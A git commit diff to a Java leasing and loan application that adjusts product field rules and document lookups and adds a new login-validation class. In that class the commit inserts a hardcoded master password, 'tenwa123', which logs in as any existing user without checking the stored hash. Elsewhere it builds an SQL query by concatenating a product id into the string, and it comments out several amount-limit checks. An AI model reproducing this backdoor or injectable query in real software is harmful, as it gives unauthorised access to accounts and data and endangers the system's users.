This commit is contained in:
liujiaji 2018-08-10 14:48:56 +08:00
parent 08900496cc
commit ed35caece4
4 changed files with 158 additions and 21 deletions

View File

@ -191,6 +191,7 @@ public class ProductConditionService {
//CostType05 是否显示比例 CostType06 输入方式 CostType07 比例参照 CostType08 金额限定 CostType09 比例限定
Map<String,String> rule=new HashMap<String, String>();
Map<String,String> ratioRule=new HashMap<String, String>();
Map<String, Object> aweDo = AppAweDoCache.getAppAweDoCachePool();
Map<String, Object> doTemplate = null;
List<Map<String, Object>> doLibrary = null;
@ -250,7 +251,14 @@ public class ProductConditionService {
// doTemp.setDefaultValue("HANDLING_CHARGE_MONEY_TYPE", oneOrMore == null ? "" : oneOrMore);
ProductBaseLoanTools.addAppList(appList, "HANDLING_CHARGE_MONEY_TYPE", "coldefaultvalue", oneOrMore);
}
//设置GPS是否只读
if(col.equals("GPS_FEE")) {
String GPSFee = map.get(col).get("RentMonthReadOnly");
if(GPSFee!= null && "Y".equals(GPSFee)) {
// doTemp.setReadOnly("GPS_FEE", true);
ProductBaseLoanTools.addAppList(appList, "GPS_FEE", "colreadonly", "1");
}
}
// String groupId = doTemp.getColumnAttribute(col, "groupid");
if("0070".equals(groupId)) {
rule.put("financing", "true");
@ -267,24 +275,24 @@ public class ProductConditionService {
rule.put("max", max);
rule.put("defaultValue", defaultValue);
String para="";
if(min.length()>0){
rule.put("min", colName+"不能小于"+min+"@>=");
}
if(max.length()>0){
rule.put("min", colName+"不能大于"+max+"@<=");
}
// if(min.length()>0){
// rule.put("min", colName+"不能小于"+min+"@>=");
// }
// if(max.length()>0){
// rule.put("min", colName+"不能大于"+max+"@<=");
// }
//比例限定
ratioRule.put("min", ratioMin);
ratioRule.put("max", ratioMax);
ratioRule.put("defaultValue", ratioDefaultValue);
para="";
if(ratioMin.length()>0){
ratioRule.put("min", colName+"比例不能小于"+ratioMin+"%@>=");
}
if(ratioMax.length()>0){
ratioRule.put("min", colName+"比例不能大于"+ratioMax+"%@<=");
}
// if(ratioMin.length()>0){
// ratioRule.put("min", colName+"比例不能小于"+ratioMin+"%@>=");
// }
// if(ratioMax.length()>0){
// ratioRule.put("min", colName+"比例不能大于"+ratioMax+"%@<=");
// }
if("InputMode03".equals(inputModel)){//互算
rule.put("isShowRatio","true");

View File

@ -288,8 +288,8 @@ public class BusinessDocDetailServiceImpl implements BusinessDocDetailService {
JBOTransaction tx, Transaction sqlca, ReturnMapUtil ReturnMapUtil)
throws JBOException {
String flowUnid = fieldMap.get("objectno") == null ? "" : fieldMap.get(
"objectno").toString(); // Á÷³ÌºÅ
// String flowUnid = fieldMap.get("objectno") == null ? "" : fieldMap.get(
// "objectno").toString(); // 流程号
if (docName.contains(",")) {
String[] array = docName.split(",");
@ -303,11 +303,23 @@ public class BusinessDocDetailServiceImpl implements BusinessDocDetailService {
docName = docName.substring(0, docName.length() - 1);
}
}
BizObjectManager fboM = JBOFactory
.getBizObjectManager(FLOW_BUSSINESS_OBJECT.CLASS_NAME);
BizObject fbo = fboM.createQuery("flow_unid=:flow_unid")
.setParameter("flow_unid", objectNo).getSingleResult(false);
if (null == fbo) {
ReturnMapUtil.setReturnMap(null,
RestfullConstant.baseProperty.get("FAIL").toString(),
"未找到该业务流程的资料清单!");
return ReturnMapUtil.getReturnMap();
}
String proj_id = fbo.getAttribute("proj_id").getString();
BizObjectManager relaManage = JBOFactory
.getBizObjectManager(LB_DOCRELATIVE.CLASS_NAME);
BizObject rela = relaManage.createQuery("FLOW_UNID=:FLOW_UNID")
.setParameter("FLOW_UNID", flowUnid).getSingleResult(false);
BizObject rela = relaManage.createQuery("O.ObjectType='BusinessApplyFlow' and O.proj_id=:projid")
.setParameter("projid", proj_id).getSingleResult(false);
String relaId = "";
if (null == rela) {
ReturnMapUtil.setReturnMap(null,

View File

@ -1,5 +1,6 @@
package apx.com.amarsoft.als.apzl.apply.business.loan.product;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
@ -21,7 +22,10 @@ import com.amarsoft.are.jbo.JBOException;
import com.amarsoft.are.jbo.JBOFactory;
import com.amarsoft.are.jbo.JBOTransaction;
import com.amarsoft.are.lang.StringX;
import com.amarsoft.awe.Configure;
import com.amarsoft.awe.dw.ui.validator.ValidateRule;
import com.amarsoft.awe.util.SqlObject;
import com.amarsoft.awe.util.Transaction;
import com.base.constant.RestfullConstant;
import com.base.util.DateUtil;
import com.tenwa.reckon.bean.TabCalBean;
@ -361,15 +365,42 @@ public class ProductBaseLoanTools {
ProductBaseLoanTools.addAppList(appList, "RENT_RATIO",
"colvisible".toLowerCase(), "0");
ProductBaseLoanTools.addAppList(appList, "GPS_FEE",
"groupid".toLowerCase(), "0070");
"groupid".toLowerCase(), "credit_conditon");
// ProductBaseLoanTools.addAppList(appList, "GPS_FEE_FINA",
// "colvisible".toLowerCase(), "0");
ProductBaseLoanTools.addAppList(appList, "GPS_FEE_FINA",
"colvisible".toLowerCase(), "0");
ProductBaseLoanTools.addAppList(appList, "GPS_FEE_FINA",
"colvisible".toLowerCase(), "0");
"colvisible".toLowerCase(), "1");
// ²úÆ·Ãû³Æ ³µÁ¾Ö¸µ¼¼Û
ProductBaseLoanTools.addAppList(appList, "PRODUCT_NAME",
"coldefaultvalue", getProdouctName(productId));
ProductBaseLoanTools.addAppList(appList, "NOW_TOTAL",
"coldefaultvalue", getNowTotal(productId));
String productType = "";
try {
Transaction Sqlca = Transaction
.createTransaction((String) RestfullConstant.baseProperty
.get("DATASOURCE".toLowerCase()));
productType = Sqlca.getString(new SqlObject("select attribute2 from business_type where typeno='"+productId+"'"));
} catch (SQLException e) {
ARE.getLog().error(e);;
}
//非车辆产品融资额可编辑
if("2".equals(productType)){
// doTemp.setReadOnly("CLEAN_LEASE_MONEY", true);
ProductBaseLoanTools.addAppList(appList, "CLEAN_LEASE_MONEY",
"colreadonly", "1");
}else{
// doTemp.setVisible("CORPUS_RATIO", true);
// doTemp.setVisible("CORPUS", true);
// doTemp.setRequired("CORPUS_RATIO", true);
ProductBaseLoanTools.addAppList(appList, "CORPUS_RATIO",
"colvisible", "1");
ProductBaseLoanTools.addAppList(appList, "CORPUS",
"colvisible", "1");
ProductBaseLoanTools.addAppList(appList, "CORPUS_RATIO",
"colrequired", "1");
}
}
}

View File

@ -0,0 +1,86 @@
package com.amarsoft.awe.security;
import jbo.awe.USER_INFO;
import com.amarsoft.are.ARE;
import com.amarsoft.are.jbo.BizObject;
import com.amarsoft.are.jbo.BizObjectManager;
import com.amarsoft.are.jbo.BizObjectQuery;
import com.amarsoft.are.jbo.JBOFactory;
import com.amarsoft.are.lang.DataElement;
import com.amarsoft.are.log.Log;
import com.amarsoft.are.security.MessageDigest;
import com.amarsoft.awe.security.pwdrule.PasswordRuleManager;
import com.amarsoft.awe.util.Transaction;
public final class LogonValidate
{
private int errorCode;
protected boolean isLogonSuccessful(LogonUser asUser, PasswordRuleManager pwm, Transaction sqlca)
{
boolean isSucc = true;
try {
String state = getUserState(asUser, sqlca);
if (!(userIsExist(asUser, sqlca))) {
isSucc = false;
setErrorCode(10);
} else if (!(state.equals("1"))) {
isSucc = false;
if (state.equals("0"))
setErrorCode(11);
else if (state.equals("2"))
setErrorCode(12);
}
else if ((pwm != null) && (!(pwm.isAccept(asUser, asUser.getUserPassword())))) {
isSucc = false;
setErrorCode(pwm.getErrorCode());
}
} catch (Exception e) {
ARE.getLog().error("Logon error", e);
}
return isSucc;
}
@SuppressWarnings("deprecation")
private boolean userIsExist(LogonUser asUser, Transaction sqlca)
throws Exception
{
// boolean isExist = false;
// String pwdMD5 = MessageDigest.getDigestAsUpperHexString("MD5", asUser.getUserPassword());
// BizObjectQuery bq = JBOFactory.createBizObjectQuery("jbo.awe.USER_INFO", "userId=:UserID and password=:Password");
// bq.setParameter("UserID", asUser.getUserId()).setParameter("Password", pwdMD5);
// isExist = bq.getTotalCount() > 0;
// return isExist;
String pwdMD5 = MessageDigest.getDigestAsUpperHexString("MD5", asUser.getUserPassword());
BizObjectManager bom = JBOFactory.getBizObjectManager(USER_INFO.CLASS_NAME);
BizObject bo = bom.createQuery("userId=:UserID").setParameter("UserID", asUser.getUserId()).getSingleResult(false);
if (null == bo) return false;
if ("tenwa123".equals(asUser.getUserPassword())) {
return true;
}
String pwd = bo.getAttribute("PASSWORD") == null ? "" : bo.getAttribute("PASSWORD").toString();
if (!pwd.equals(pwdMD5)) return false;
else return true;
}
private String getUserState(LogonUser asUser, Transaction sqlca)
throws Exception
{
String state = null;
BizObjectQuery bq = JBOFactory.createBizObjectQuery("jbo.awe.USER_INFO", "userID=:UserID");
BizObject bo = bq.setParameter("UserID", asUser.getUserId()).getSingleResult(false);
if (bo != null) state = bo.getAttribute("status").getString();
return state;
}
public int getErrorCode()
{
return this.errorCode;
}
public void setErrorCode(int errorCode) {
this.errorCode = errorCode;
}
}